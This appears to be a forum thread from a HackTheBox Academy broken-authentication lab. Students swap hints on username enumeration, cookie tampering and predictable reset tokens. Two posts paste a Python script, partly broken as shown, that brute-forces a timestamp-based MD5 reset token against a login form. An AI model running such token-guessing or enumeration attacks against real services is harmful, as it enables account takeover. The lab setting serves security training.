first, we have to understand the service on this page, try to enumerate manually, read all content, and understand what it said.
next, we have to try the functions on it, the important point is to understand this service!
Could someone hint me with the “Broken Authentication” , “Bruteforcing Usernames” section ./question2/ Broken Authentication Login - User inference!?
I can find yet neither pre-filled input nor the ‘failed_login’ cookie, just the “Invalid credentials” in responds.
I have fuzzed the “Username”, “wronguser”, both of them with Burp intruder and manually using top-usernames-shortlist.txt - nothing interesting. Perhaps I have overlooked smth? Response source is not seems to be unusual.
I still can’t get this, I’ve found 4 accounts and cannot cookie them (cannot have requested role). I’ve tried all combinations of ffuf against r*.php and m*.php but no working hit. Any other hint? thanks
hi can you help pls i am converting the time printed on the page to epoch then adding +1000 -1000 this is my script
from hashlib import md5
import requests
from sys import exit
from time import time
import datetime
header= {“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8” , “Content-Type”: “application/x-www-form-urlencoded”}
now = int(1640972294000)
start_time = now
fail_text = “Wrong token”
user=“htbadmin”
endtime=now+1000
for x in range(start_time-1000, endtime):
raw_data = user+str(x)
md5_token = md5(str(raw_data).encode()).hexdigest()
data =“token={md5_token}&submit=check”
print("checking {} {}".format(str(x), md5_token))
res = requests.post(url, data=data,headers=header)
if not fail_text in res.text:
print(res.text)
print("[*] Congratulations! raw reply printed before")
exit()
exit()
Did you keep in mind the different time zones? The displayed time zone is your local time zone in UTC, the server might have a different one. Thus, ±1 s is probably not enough
Ok, but the given server time zone might not be the real one. Try to use greater offset instead of ±1 s. For speeding things up, try to generate the given token (which can be conducted offline).
Can anyone give me a hand with the Predictable Reset Token questions? I am stuck on question 1 right now. I think I should be using something like the python script that is referenced in the module and above. Not sure what I am missing on it.
from hashlib import md5 import requests from sys import exit from time import time import datetime
header= {“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8” , “Content-Type”: “application/x-www-form-urlencoded”} now = int(1650581532000) start_time = now fail_text = "Wrong token" user= "htbadmin" endtime=now+1000
for x in range(start_time-1000, endtime):
** raw_data = user+str(x)**
** md5_token = md5(str(raw_data).encode()).hexdigest()**
** data =“token={md5_token}&submit=check”**
print(“checking {} {}”.format(str(x), md5_token))
res = requests.post(url, data=data,headers=header)
if not fail_text in res.text:
** print(res.text)**
** print("[*] Congratulations! raw reply printed before")**
** exit()**